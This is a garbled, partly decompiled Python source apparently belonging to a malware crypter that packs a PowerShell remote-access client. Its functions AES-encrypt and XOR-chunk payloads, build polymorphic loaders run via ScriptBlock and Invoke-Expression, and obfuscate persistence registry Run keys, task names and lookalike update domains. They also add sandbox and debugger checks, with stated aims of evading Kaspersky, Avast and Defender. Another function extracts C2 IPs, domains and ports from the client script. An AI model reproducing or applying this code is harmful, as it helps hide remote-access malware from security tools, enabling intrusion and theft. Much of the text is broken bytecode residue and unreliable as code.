 }dtt	dd
 }dtt	dd
 }dtt	dd
 }dtt	dd
 }dtt	dd
 }dtt	dd	 }dtt	dd	 }t	dd	}t|| }g }g t|D ]h}|| }||d k r|| nt|}dtt	dd }
|
|
 d|||  d 
|
 qg }t dk rT|
t  td} td}!td}"|
| d|  d|! d|" d td}#|
d|# d|# d| d tt|}$t|$ |$D ]\}%}&|
|& q· fddt|$dd dD }'|
| d d!|'  |
| d |  |
| d"| d |
| d#| d$| d% td&}(td'})|
d( |
| d)|( d* |
d+| d,| d- |
d. tt|}*t|* |*D ]\}%}&|
|& q·fd/dt|*d0d dD }+td1},td2}-td3}.td4}/|
d( |
| d"d!|+ d  |
| d5| d6 |
| d7 |
| d8|, d9| d: |
| d8|- d9| d; |
| d8|. d< |
| d8|/ d= |
| d | d> |
| d?| d |
| d@| dA| dB |
| dC| d |
| d | dD |
| dE| dE| dE| dF |
dG| dH|  |
dI g }0tdJdK}1t|D ]V\}}&|dLkrt |1d k r|0
t  |0
|& t |1k r|0
t  qdM|0dM }2|2||fS )Nu8  Aplica proteção ao payload com AES-256-CBC - 100% POLIMÓRFICO.
    
    ARQUITETURA v9.1 - Anti-Kaspersky (Totalmente Polimórfico):
    - Criptografa payload com AES-256-CBC
    - TODAS as strings são ofuscadas em runtime
    - Nenhum padrão fixo detectável
    - Estrutura variável a cada geração
    N   rM   r   r   r   rq   r   r7   ru   rZ   r2   	   g      ?MyInvocation	MyCommand
Definitionz=(Get-Variable (z
)).Value.(z).(rt   z-ScriptPathzif($args -contains z){$idx=[array]::IndexOf($args,z-);if($idx -ge 0 -and $idx+1 -lt $args.Count){z=$args[$idx+1]}}c                    s   g | ]\}} | qS rB   rB   r>   r   r?   )asm_chunk_varsrB   rC   r&  J  s     z$apply_aes_loader.<locals>.<listcomp>c                 S   s   | d S Nr   rB   xrB   rB   rC   r   J  r   z"apply_aes_loader.<locals>.<lambda>rb   r   rs   =[Convert]::FromBase64String(z=-join(|%{[char]($_ -bxor r   REr   z9=[AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GetType(z)}zif(-not z:){[Reflection.Assembly]::Load([Convert]::FromBase64String(z))|Out-Null}z[R]::E()|Out-Null}catch{}c                    s   g | ]\}} | qS rB   rB   r5  )
chunk_varsrB   rC   r&  `  s     c                 S   s   | d S r7  rB   r8  rB   rB   rC   r   `  r   KeyIVModePadding=[Convert]::FromBase64String('r   z&=[Security.Cryptography.Aes]::Create()z.(z)=z[0..31]z[32..47]z))=[Security.Cryptography.CipherMode]::CBCz,)=[Security.Cryptography.PaddingMode]::PKCS7z.CreateDecryptor()z=[IO.MemoryStream]::new(z+=[Security.Cryptography.CryptoStream]::new(r\   z0,[Security.Cryptography.CryptoStreamMode]::Read)z=[IO.StreamReader]::new(z.ReadToEnd()z.Dispose();z
.Dispose()z&([scriptblock]::Create(z)) -ScriptPath r   g333333?g      ?r   r   )r  uuiduuid4hexr.  GLOBAL_ASM_B64	enumeraterL   r;   rO   r{   ry   rH   r   r   r   listshufflesortedrG   uniformr   )3r   r/  encrypted_b64key_b64key_id
asm_chunksasm_xor_keyasm_chunk_linesr   r   vnv_asm_concat	v_asm_keyv_asm_decodev_asm_finalv_encv_keyv_aesv_decv_msv_csv_srv_tv_spr   v_methodr   
chunk_sizechunk_linesr|   r   Lstr_myinvocationstr_mycommandstr_definitionstr_scriptpathshuffled_asmr?   lineasm_chunk_vars_orderedstr_rstr_eshuffled_chunkschunk_vars_orderedstr_key_propstr_iv_propstr_mode_propstr_padding_propfinal_linesjunk_probabilityloaderrB   )r6  r>  rC   apply_aes_loader  s    
"




"

rw  c                 C   s@  t d| }|r8|d}|r8||d kr8|d | t d| }|rp|d}|rp||d krp|d | t d| }|r|d}|r||d kr|d | t d| }|r|d}|r||d kr|d | t d| }	|	rt|	d}
|
d	kr|
|d
< t d| }|rDt|d}
|
d	krD|
|d
< t d| }|r|d}t d|}|D ](}|rp||d krp|d | qpd}t || }t|D ],}|dkr||d kr|d | qd}t || t j}t|D ]>}d|krq|dkrq||d kr|d | q| S )u<   Detecta automaticamente IPs, domínios e porta do Client.ps1zFallbackIP\s*=\s*"([^"]+)"rZ   r-   zPrimaryDomain\s*=\s*"([^"]+)"r.   z"\[string\]\$Server\s*=\s*"([^"]*)"z\$script:Server\s*=\s*"([^"]+)"z\[int\]\$Port\s*=\s*(\d+)r   r/   z\$script:Port\s*=\s*(\d+)z%\$script:C2Domains\s*=\s*@\(([^)]+)\)z	"([^"]+)"z\b(?:\d{1,3}\.){3}\d{1,3}\b)z	127.0.0.1r   z255.255.255.255z&"([a-z0-9][a-z0-9\-]*\.[a-z0-9\-\.]+)"rM   )zexample.comzlocalhost.local)researchgroupr{   intfindallset
IGNORECASE)r   project_configip_matchipdomain_matchdomainserver_matchserverscript_server_match
port_matchport_valscript_port_matchc2_matchdomains_strdomainsd
ip_patternall_ipsdomain_patternall_domainsrB   rB   rC   detect_sensitive_values  sj    









r  c                 C   s  t d d }t d d }dtd }dtd }dtd }d| d| d| d	| d
| d| d| d| d| d}| d}|dkrd}d}	d}
|d }|t| k r| | }|	sN|dkrd}	|}
n~|dkr|d7 }nl|dkrx|d8 }|dkrx|d }|t| k r,| | dkr,|d7 }q| d| | | |d  } qn*||
krx|dkst| |d  dkrxd}	|d7 }qn||  } | S )uH   Adiciona timing delay no início do script para otimização de recursosr     r   rM   r   r   z = [Environment]::TickCount
z = Get-Random -Minimum z
 -Maximum z
[Threading.Thread]::Sleep(z)
z! = [Environment]::TickCount
if ((z - z) -lt (z - 1000)) { exit }

param(rv   r   FNr2   "'Trr   rZ   rt    	
`)CONFIGrL   findry   )r   min_msmax_msr   r\  r   
sleep_codeparam_startparen_count	in_stringstring_charr   ra   end_posrB   rB   rC   apply_sleep_jitter  sf    




&r  c              %   C   s  d}t t|| }i }t|D ]6\}}d| d}|d||< | |d|d} q tddtdd	tdd
tddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtddtd d!td d"tdd#tdd$td d%tdd"td d&tdd'tddtdd(tdd)d*#}| D ]:\}}	| d+| d+|	 } | d,| d,|	 } q~d-td. }
d/td d0}d1td  }| d2|
} | d3|} | d4d5| d6} | d7d8| d6} d9}d:}| ||} d;}d<d= }t||| } d>}d?}| ||} | d@dA} | dBdC} | D ]\}}| ||} q| S )DuC   Aplica técnicas de otimização de código para melhor performancez((\$script:_asm[A-F]_b64\s*=\s*')[^']+(')__B64_PLACEHOLDER___r   rZ   r2   sbrj   bepjejccdprmspcscmnmiitaqfeoacacfcpccictktpakr   dmldrcrsudbplpucus)#ScreenBoundsBWEncoderParamsJpegEncoderjpegEncoder	jpegCodecencoderParams	MemStream
PerfConfigSecurityConfigMonitorsSelectedMonitorIndexInputTrackActiveAutoQREnabled	ForceExitOverlayActive
CropActiveCropFormCropProcessConnectionConfigInstallConfigInstallToken
TokenProofAesKeyDeskModeLastDeskRobustConfigRobustStateUseDxgiLastDesktopBypassOKLastProtectionCheckProtectionCheckIntervalUltraConfig
UltraState$script:rM   zGet-r7   WinHelperGrabGet-ScreenshotFastCapturez#public static Bitmap CaptureScreen(zpublic static Bitmap rr   z::CaptureScreen(z::z-`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)z`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))z"(\$\w+)\.CopyFromScreen\(([^)]+)\)c                 S   s*   |  d}|  d}| d| d| dS )NrZ   rj   z4.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke(z, @(z))rz  )matchvarargsrB   rB   rC   replace_copyscreenl  s    

z(apply_bypass.<locals>.replace_copyscreenz;[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()zy$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)z'image/jpeg'z('ima' + 'ge/jp' + 'eg')z"image/jpeg"z("ima" + "ge/jp" + "eg"))	rI  rx  finditerrH  rz  replacerL   itemssub)r   b64_patternb64_matchesb64_placeholdersr   r  placeholdervar_mappingsoldnewfunc_screenshotfunc_capture_classfunc_capture_methodold_copynew_copycopyscreen_patternr  old_encodersnew_encodersoriginalrB   rB   rC   apply_bypass%  s    &r  c                 C   s   |  dd} |  dd} | S )u-   Ofusca variáveis de ambiente de forma seguraz$env:MSEDGE_SKIP_UACz${env:MSEDGE_SKIP_UAC}z`$env:MSEDGE_SKIP_UACz`${env:MSEDGE_SKIP_UAC}r  r   rB   rB   rC   apply_env_var_obfuscation  s    	r  c                 C   sb   ddddg}|D ]L\}}|  d| dd| d} |  d| dd	| d
} |  ||} q| S )z3Ofusca caminhos de Registry mantendo funcionalidade)3HKCU:\Software\Microsoft\Windows\CurrentVersion\Runr  )3HKLM:\Software\Microsoft\Windows\CurrentVersion\Runr  )-Software\Microsoft\Windows\CurrentVersion\Runr  )#HKCU:\Software\Microsoft\EdgeUpdater  r   ("")rq   r   r   r	  )r   registry_patternsr  
obfuscatedrB   rB   rC   apply_registry_path_obfuscation  s    r  c                 C   s   ddddg}| S )z"Randomiza nomes de Scheduled TasksTaskNamesvcNameserviceNametaskNamerB   )r   task_patternsrB   rB   rC   apply_task_name_randomization  s       r  c                 C   s&   ddg}|D ]\}}|  ||} q| S )zOfusca caminhos de AppData)AppData\Roamingr  )AppData\Localr  r	  )r   appdata_patternsr  r  rB   rB   rC   apply_appdata_path_obfuscation  s    r  c                 C   sX   dddddg}|D ]@\}}|  d| dd| d} |  d	| d	d
| d} q| S )u4   Ofusca nomes de executáveis mantendo funcionalidade)powershell.exer  )cmd.exer   ).ps1r!  ).txtr"  ).csr#  r   r  r  rq   r   r   r	  )r   exec_patternsr  r  rB   rB   rC   !apply_executable_name_obfuscation  s    r%  c           	      C   s   dddg}|D ]}|| krqg }d}|t |k r~t || }td|}|dkrZtd|n|}|||||   ||7 }q$ddd	 |D }| d
| d
d| d} | d| dd| d} q| S )u5   Ofusca domínios via concatenação segura de stringszcdn.windowsupdates.cozwindowsupdates.cozc.windowsk-cdn.comr   r   rj   rs   c                 S   s   g | ]}d | d qS )r   rB   )r>   partrB   rB   rC   r&    s     z,apply_domain_obfuscation.<locals>.<listcomp>r   rr   rt   rq   )ry   r   r;   rO   r{   rG   r  )	r   r  r  r~   r   	remainingr4   r-  r  rB   rB   rC   apply_domain_obfuscation  s&    

r(  c           	      C   s  d}|  d}|dkrd}d}d}|d }|t| k r| | }|s|dkrTd	}|}q|d
krf|d7 }q|dkr|d8 }|dkr|d }|t| k r| | dkr|d7 }q| d| | | |d  } qn$||kr|dks| |d  dkrd}|d7 }q*n||  } | S )uJ   Adiciona técnicas anti-detecção dinâmica para comportamento em runtimeuC  
# Anti-detecção dinâmica (verifica se está sendo analisado)
$script:DetectionCheck = {
    try {
        $p = Get-Process | Where-Object { $_.ProcessName -match 'winapioverride|procmon|fiddler|burp|apimonitor|ida|x64dbg' }
        if ($p) { return $true }

        $r = Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty 'ProgramFilesPath' -ErrorAction SilentlyContinue
        if ($r -like '*sandbox*') { return $true }

        if ([Environment]::UserName -eq 'Sandbox' -or [Environment]::UserName -eq 'Guest') { return $true }

        return $false
    } catch { return $false }
}

# Variação aleatória de delays para parecer natural
$script:RandomDelay = {
    param([int]$min=1, [int]$max=5)
    Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max)
}

# Função para reduzir operações se detectado
$script:AdaptiveThrottle = {
    if (& $script:DetectionCheck) {
        & $script:RandomDelay -min 20 -max 50
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 5)
    }
}

r  rv   r   FNr2   r  Trr   rZ   rt   r  r  )r  ry   )	r   anti_detection_coder  r  r  r  r   ra   r  rB   rB   rC   apply_anti_detection_evasion  s8    "


 r*  c                 C   s6   t dd| } | dd} | dd} | dd} | S )z6Protecoes minimas que realmente funcionam - v7.2 LIMPOzEWindowStyle\s*=\s*\[System\.Diagnostics\.ProcessWindowStyle\]::HiddenzWindowStyle = 0z-EncodedCommandz-encz-encodedcommandz"[System.Reflection.Assembly]::Loadz[Reflection.Assembly]::Load)rx  r  r  r
  rB   rB   rC   #apply_suspicious_pattern_protectionJ  s    
 r+  c              
   C   sX   ddddddddd	d
g
}|D ]\}}|  ||} qddg}|D ]\}}|  ||} q>| S )u  v8.9 Anti-Avast: Ofuscação SEGURA com concatenação em contextos específicos
    
    IMPORTANTE: Só ofusca em contextos onde a concatenação é válida!
    - New-Object "Type" -> New-Object ("Ty"+"pe")
    - Strings literais em atribuições
    
    NÃO TOCA em:
    - [Type]::Method - tipos literais não aceitam concatenação
    - JSON/here-strings
    - Código fora de strings
    
    Fonte: github.com/t3l3machus/PowerShell-Obfuscation-Bible
    )z'New-Object System.Net.Sockets.TcpClientz4New-Object ("Sys"+"tem.Net"+".Sockets.Tc"+"pClient"))z New-Object Net.Sockets.TcpClientz*New-Object ("Net.Sock"+"ets.Tcp"+"Client"))z!New-Object System.IO.MemoryStreamz+New-Object ("Sys"+"tem.IO.Mem"+"oryStream"))z!New-Object System.IO.BinaryWriterz+New-Object ("Sys"+"tem.IO.Bin"+"aryWriter"))z!New-Object System.IO.BinaryReaderz+New-Object ("Sys"+"tem.IO.Bin"+"aryReader"))zNew-Object IO.MemoryStreamz!New-Object ("IO.Mem"+"oryStream"))zNew-Object IO.BinaryWriterz!New-Object ("IO.Bin"+"aryWriter"))zNew-Object IO.BinaryReaderz!New-Object ("IO.Bin"+"aryReader"))zNew-Object System.Net.WebClientz)New-Object ("Sys"+"tem.Net.Web"+"Client"))zNew-Object Net.WebClientzNew-Object ("Net.Web"+"Client"))z-AssemblyName System.Drawingz&-AssemblyName ("Sys"+"tem.Dra"+"wing"))z"-AssemblyName System.Windows.Formsz/-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")r	  )r   r  newobj_patternsold_objnew_objassembly_patternsold_asmnew_asmrB   rB   rC   apply_string_encryptiona  s&    r2  c                 C   s   ddddddddd	d
dg}|D ]^}t tdd}d| d| fd| d| fg}|D ]\}}|| kr^| ||} q^q| S )u#   Renomeia variáveis de forma seguraserverIP
serverPort	tcpClientnetworkStreambinaryWriterbinaryReader	machineIdlastPingscreenCapturecaptureThreadremoteShellr2   r   rM   r  )rL   r;   rO   r  )r   vars_to_renamer  new_namepatternsr  r  rB   rB   rC   apply_variable_rename  s*            rA  c                     s   d}t || }dddddddd	d
dddddddddddddddddddddd d!h   fd"d#t|D }|D ]P}d$td% }t d&t | d'd(| d)| } t d*t | d+|| } qn| S ),u*   Renomeia funções definidas pelo usuárioz+function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]MainmainzGet-Helpz
Write-HostzWrite-ErrorzWrite-OutputzWrite-Verbosez	Read-HostzStart-SleepzGet-DatezGet-ProcesszGet-ServicezGet-ContentzSet-ContentzOut-Filez	Test-PathzNew-ItemzRemove-Itemz	Copy-Itemz	Move-ItemzInvoke-ExpressionzInvoke-CommandzStart-ProcesszStop-ProcesszStart-DxgiWorkerzStop-DxgiWorkerzTest-DxgiWorkerAliver  zGet-MonitorListzGet-SelectedMonitorzSend-MonitorListz
Send-Framec                    s   g | ]}| kr|qS rB   rB   r>   r   protected_funcsrB   rC   r&    s      z)apply_function_rename.<locals>.<listcomp>zInvoke-r7   zfunction\s+z
\s*([{\(])	function z \1z(?<!["\'])\bz\b(?!["\']))rx  r|  r}  rL   r  escape)r   func_patternmatches
user_funcsfuncr?  rB   rE  rC   apply_function_rename  sR                           $rM  c                 C   s   | S )u<  v8.9: Desabilitada - ofuscação de tipos agora é feita em apply_string_encryption
    
    IMPORTANTE: Não podemos ofuscar tipos literais como [System.Net.Sockets.TcpClient]
    porque concatenação NÃO funciona dentro de colchetes de tipo!
    
    Apenas New-Object aceita concatenação no nome do tipo.
    rB   r
  rB   rB   rC   apply_type_obfuscation  s    rN  c                    s|  |  d}g }d}d}dg}|D ]N   dks>dkrBd}dksRdkrVd}d	krf|sfd}d
krx|sxd}q |r~q |sfdrd
stfdd|D }|sq d krf|sft fdd|D }|sfd}d}g }	d}
|
t k rX |
 }|dkr0|s d}|}n||krDd}n|dkrD|sDqX|	| |
d7 }
qd|	  |  q d|S )u:   Remove comentários PowerShell (mas preserva here-strings)r   FzAnti-sandbox@"@'T"@'@z<#z#>#c                 3   s   | ]}| kV  qd S r9   rB   r>   marker)strippedrB   rC   rD     s     z(apply_comment_removal.<locals>.<genexpr>c                 3   s   | ]}| kV  qd S r9   rB   rT  )rj  rB   rC   rD     s     Nr   r  rZ   r8   )splitr   
startswithanyry   r{   rG   rstrip)r   r   	new_linesin_herestringin_block_commentpreserve_markersshould_preserver  
quote_charnew_liner   ra   rB   )rj  rV  rC   apply_comment_removal  sZ    





rb  c                 C   sX   ddddddddd	d
dg}|D ]4\}}d| d}t || rt |d| | } q| S )u5   Ofusca alguns números mágicos - CORRIGIDO COM REGEX)i'  z(5000+5000))i    z
(8000+192))i  z	(8000+80))i  z
(5000+555))i  z(2500+2500))i\  z
(4000+444))i   z	(4000+96))i   z	(1000+24))r  z	(500+500))i  z(400+43))P   z(40+40)z(=\s*)z(?!\d)z\g<1>)rx  ry  r  )r   numbers_to_obfuscatenumreplacementpatternrB   rB   rC   apply_number_obfuscation0  s"    rh  c                 C   sb  |  d}g }d}t }t|D ]F\}}| }d|ks@d|krDd}|r || d|ksbd|kr d}q g }t|D ]`\}}||krqt| }|ds|d	s|d
krt|dkrtt dk rt|d |krt|| qtt	|t
t|td }t|D ]^\}}|| ||krttddD ]2}	t|t|  }
t }|d|
 |  q"qd|S )u,   Insere código morto em pontos estratégicosr   FrO  rP  TrQ  rR  {rG  r8   r   g333333?rZ   r+   r    )rW  r}  rH  r   addendswithrX  r;   r{   sampler   ry   r  rH   rO   lstripr   rG   )r   r   r[  r\  protected_linesr   rj  rV  insert_pointsr?   indentjunkrB   rB   rC   apply_junk_codeR  s<    


rs  c                 C   sV   t j| ddd}t| }t }t }d| d| d| d| d| d	}|S )
u-   Comprime e codifica o código final em Base64rp   r1  )levelz# Auto-generated loader
z = 'z'
z = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String(zd)),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression r   )zlibcompressrU   rS   rT   rV   rP   )r   
compressedb64_compressed
loader_vardecompress_varrv  rB   rB   rC   apply_final_compression}  s     r{  )r  rc   r   r   c                    sH  t r:tt|t|t d}| }|| |	  S dddddddd	d
dddddddddddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`dadbdcdddedfdgdhdidjdkdldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dg ddld2dd~dVdtd<dFd&g
 dd fdd fdd}dd	 fd
ddd fddfdd}||}d}|}	t
dTt| d~D ]H}
| |
|
d~  }tdd t||	D }|||}||7 }|}	q|S (  u   
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponível (100x mais rápido)
    Fallback para implementação pura Python se não tiver
    r   c   |   w   {      k   o      0   rZ   g   +   r[         v            }      Y   G                        r               &   6   ?         4            q      1      r      #      r0     r2      ru               '      u   r1     ,         n   Z      R   ;         )      /      S      r      r         [   j         9   J   L   X                  C   M   3      E      rj      rc  <         Q      @            8               r!  r   r                     _      D            r"  =   r0   ]      s   `      O      "   *         F               ^            rk   :   r'  I   r7   $   \            b            y      r1   7   m         N      l   V         e   z      r      x   %   .                     t      K            p   >      f   H   r         a   5   W                              i               r            U   (                        B   h   A      -   r      T         c                 S   s$   | d@ r| d> dA d@ S | d> d@ S )Nr  rZ   r  r   rB   )arB   rB   rC   xtime  s    zaes_encrypt_cbc.<locals>.xtimec                    s   | d | d A | d A | d A }| d }| d  | | d | d A A N  < | d  | | d | d A A N  < | d  | | d | d A A N  < | d  | | d |A A N  < | S )Nr   rZ   rj   r   rB   )rd  tu)re  rB   rC   mix_single_column  s     $$$ z*aes_encrypt_cbc.<locals>.mix_single_columnc                    s   t | tddD ]  d d  d   d dkrdd  d d  fddD d   d d  N  < n d dkrfddD  fd	dtdD  qS )
Nr   r  rZ   r   r   c                    s   g | ]} | qS rB   rB   r>   r  SBOXrB   rC   r&    s     z:aes_encrypt_cbc.<locals>.key_expansion.<locals>.<listcomp>c                    s   g | ]} | qS rB   rB   ri  rj  rB   rC   r&    s     c                    s(   g | ] } d  d |  | A qS )r   r   rB   )r>   jr   key_scheduletemprB   rC   r&    s     )rI  rH   extendrb   )RCONrk  rm  rC   key_expansion  s    "z&aes_encrypt_cbc.<locals>.key_expansionc                 S   s.   t dD ] }| |  ||d |  N  < q| S )Nr   rH   )statern  roundr   rB   rB   rC   add_round_key  s    z&aes_encrypt_cbc.<locals>.add_round_keyc                    s    fdd| D S )Nc                    s   g | ]} | qS rB   rB   ri  rj  rB   rC   r&    s     z6aes_encrypt_cbc.<locals>.sub_bytes.<locals>.<listcomp>rB   rt  rj  rB   rC   	sub_bytes  s    z"aes_encrypt_cbc.<locals>.sub_bytesc                 S   sd   | d | d | d | d | d | d | d | d | d	 | d
 | d | d | d | d | d | d gS )Nr   r2   r'  r   r   r1  r=  r   r   rX  rj   ru   r  rZ   r7   r
  rB   rw  rB   rB   rC   
shift_rows  s"                z#aes_encrypt_cbc.<locals>.shift_rowsc                    sJ   t dD ]<}| |d |d d  } |}|| |d |d d < q| S )Nr   rZ   rs  )rt  r   col)rh  rB   rC   mix_columns  s
    z$aes_encrypt_cbc.<locals>.mix_columnsc                    sl   t | } ||d}tddD ](}|}|}|} |||}q|}|} ||d}t|S )Nr   rZ   r=  )rI  rH   r   )blockrn  rt  ru  )rv  r{  ry  rx  rB   rC   encrypt_block  s    z&aes_encrypt_cbc.<locals>.encrypt_blockr   c                 s   s   | ]\}}||A V  qd S r9   rB   )r>   rd  r  rB   rB   rC   rD     s     z"aes_encrypt_cbc.<locals>.<genexpr>)r   r
   r   r   r   r   r   r   r   r   rH   ry   r   zip)r  rc   r   r   r   rr  r}  rn  r   
prev_blockr   r|  xoredencrypted_blockrB   )rq  rk  rv  r{  rh  ry  rx  re  rC   aes_encrypt_cbc  s0                                                                                                                                                                                                                                                   	
r  c              ;      s  t d}t d}t| }t| }d}|t| d|  }| t||  }t|d||}t|   fddt	dt dD }	d
|	}
td	}td	}td	}td	}td	}td	}td	}td	}td	}d
| d|
 d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d| d | d!;}|S )"u3   Criptografa o payload para ficar ilegível em discor   r   rp   c                    s   g | ]} ||d   qS )rc  rB   r>   r   rM  rB   rC   r&    s     z)apply_disk_encryption.<locals>.<listcomp>r   rc  r   r7   z+$ErrorActionPreference='SilentlyContinue'
$z=@"
z
"@
$rC  z')
$z/=[System.Security.Cryptography.Aes]::Create()
$z.Key=$z;$z.IV=$z.Mode='CBC';$z.Padding='PKCS7'
$z=$z.CreateDecryptor()
$z5=[IO.MemoryStream]::new([Convert]::FromBase64String($z))
$z,=[Security.Cryptography.CryptoStream]::new($z,$z
,'Read')
$z=[IO.StreamReader]::new($z)
$z.ReadToEnd()
$z
.Close();$z%.Dispose()
& ([ScriptBlock]::Create($z)) @args)r   r   rS   rT   rV   ry   rU   chrr  rH   rG   rL   )r   rc   r   rN  iv_b64
block_sizepadding_lenpadded_coder   encrypted_linesr  rY  v_ivv_datarZ  r[  r\  r]  r^  v_plainrv  rB   r  rC   apply_disk_encryption  s    


	
	

	r  i,  rS  )rb  
batch_sizereverse_chunk_linesdirect_assign)b64_content
output_varrb  r  r  r  r   c                   s
  ddddddddgt d	d
tfdd| D }t| fddtdtD }g }t }	tt|D ]b}
dt 	 t
d t|
d }||	krdt 	 t
d t|
d }q|	| || qzg |rtt|d ddn
tt|}|D ]$}||  d||  d q
 fdd}||}dt
d }dt 	 t
d }| d  | d| d d| d| d}|r| d|  n>dt 	 t
d }| d|  | d|  d S )!z
    Gera bloco PowerShell que restaura b64_content via XOR + chunks.
    v8.3: nomes unicos por indice + concat em lotes (evita corrupcao em asmC/asmG grandes).
    CacheConfigPolicyUpdateModuleStoreDataBufferr!  r"  c                    s   g | ]}t | A qS rB   r#  r`   r$  rB   rC   r&  C  s     z*build_xor_b64_ps_block.<locals>.<listcomp>c                    s   g | ]}||   qS rB   rB   r  )rb  r)  rB   rC   r&  E  s     r   $_r2   r9  rZ   rv   r   rq   c                    s   t |  kr@dt td }| dd|   |S g }tdt |  D ]`}| ||   }dt td d t|  d }| dd|  || qTdt td }| dd|  |S )	Nr  r   r   rs   r   Br9  r   )ry   r;   r<   rL   r{   rG   rH   format)	vars_list
concat_varpartials	batch_idxbatchpartial_var)r  legit_namesr   rB   rC   append_concatU  s    (z-build_xor_b64_ps_block.<locals>.append_concatz$_kr   r   r:  rt   z-join(r;  r   r   )r;   rO   r   rS   rT   rV   rH   ry   r}  r<   rL   r  rk  r{   rG   )r  r  rb  r  r  r  r(  r+  r>  usedr,  r  indicesr   r  r  key_var
decode_var	join_expr
result_varrB   )r  rb  r  r   r%  r)  rC   build_xor_b64_ps_block4  s<      "
$"r  c                 C   s   d}dd }t ||| }|S )u	  
    Protege assemblies Base64 contra detecção estática do W11 Defender.
    
    v8.3 - Corrige corrupcao em assemblies grandes (asmC/asmG):
    - Nomes unicos por indice (sem colisao de variaveis PS)
    - Concat em lotes de 40 (evita limite de expressao)
    z:(\$script:_asm[A-G]_b64)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s   t | d| dS )Nrj   rZ   r  rz  r  rB   rB   rC   protect_single_assembly  s    z8protect_assembly_base64.<locals>.protect_single_assemblyrx  r  )r   asm_patternr  protected_coderB   rB   rC   protect_assembly_base64t  s    
r  c                 C   s   | S )z
    Protege assemblies inline (aqueles usados diretamente em here-strings).
    Formato: [Convert]::FromBase64String('$($script:_asmF_b64)')
    rB   r
  rB   rB   rC   protect_inline_assembly  s    r  c                 C   s   d}dd }t ||| S )zE
    Protege a DLL de esconder janela ($_qh) que aparece inline.
    z)(\$_qh)\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s   t | d| ddddS )Nrj   rZ   FT)r  r  r  r  rB   rB   rC   
protect_qh  s    z$protect_hide_dll.<locals>.protect_qhr  )r   
qh_patternr  rB   rB   rC   protect_hide_dll  s    r  c                 C   s"   d}dd t || ddD S )Nz:\$script:_asm([A-G])_b64\s*=\s*'(TVqQAAMA[A-Za-z0-9+/=]+)'c                 S   s&   i | ]}d | d d| dqS )$script:_asmrZ   _b64rj   r  )r>   mrB   rB   rC   
<dictcomp>  s    z0_extract_asm_b64_from_source.<locals>.<dictcomp>
r   )rx  r  r  )r   patrB   rB   rC   _extract_asm_b64_from_source  s    r  )	protectedc           
      c   s   |  dd} td}|| D ]}d|d d}| }| d|}|dk r\t| }n|d7 }| dd|}d}|dkr| dd|d }| ||d  	 }	|	
ds|d }q|dkrd}q|d	 }qv|| || fV  q d S )
Nr  r   z\$script:_asm([A-G])_b64=r  rZ   r  r   r  rj   )r  rx  compiler  rz  r   r  ry   rfindr   rX  )
r  r  r  r  
assign_posline_endr   r   
line_startrj  rB   rB   rC   _iter_xor_asm_blocks  s,    



r  )ps_blockr   c                    s   |  dd} i  | dD ]:}| }|s,qtd|}|r|d  |d< qtd|  }|srtddtd	 fd
d|d}t	|tstd|S )uL   Replica a logica do bloco PS (chunks + XOR) em Python — funciona no Linux.r  r   z^(\$[\w:]+)=(.+)$rj   rZ   z"(\$script:_asm[A-G]_b64)=(\S+)\s*$z+saida asm nao encontrada no bloco protegidoN)r  c           
         s  |d krt  }| |kr$td|  ||  | krDtd|  |  }td|}|r|d|}t|tstd|  t	|S td|}|r|d|}t|t
tfstd|  t|d| d	 fd
d|D S |dr|dr|dd S td|r,|S d|krg }|dD ]8}| |}	t|	tsptd|  ||	 qDd	|S td|  d|d d  d S )Nzreferencia circular em zvariavel indefinida no bloco: z)\[Convert\]::FromBase64String\((\$_\w+)\)rZ   z+base64 invalido antes de FromBase64String: z6-join\((\$_\w+)\|%\{\[char\]\(\$_ -bxor (\$_\w+)\)\}\)z bytes esperados antes do -join: rj   r8   c                 3   s   | ]}t | A V  qd S r9   )r  ri  rb   rB   rC   rD     s     z?_restore_b64_from_xor_block.<locals>.resolve.<locals>.<genexpr>rq   rv   z-?\d+rs   zchunk nao textual em zexpressao nao suportada em : rc  )r}  
ValueErrorrk  rx  r  rz  
isinstancer^   rS   	b64decoder   	bytearrayr{  rG   rX  rl  	fullmatchrW  r   r{   )
r  seenexprb64convr  join_mr  r~   r&  valassignsresolverb   rC   r    sJ    




z,_restore_b64_from_xor_block.<locals>.resolvez$bloco XOR nao produziu string base64)N)
r  rW  r   rx  r  rz  ry  r  r^   r  )r  rj  r  out_mr  rB   r  rC   _restore_b64_from_xor_block  s"    -
r  )source_before_protectr  r   c                 C   s  t | }|sdS tt|}| D ]\}}||}|sHtd| zt|}W n8 tk
r } ztd| d| |W 5 d}~X Y nX ||krtd| d|dkr$t	|}	d
d	}
d

d	}|	|
}|	|}|dk s|dk r$td| d| dq$dS )z
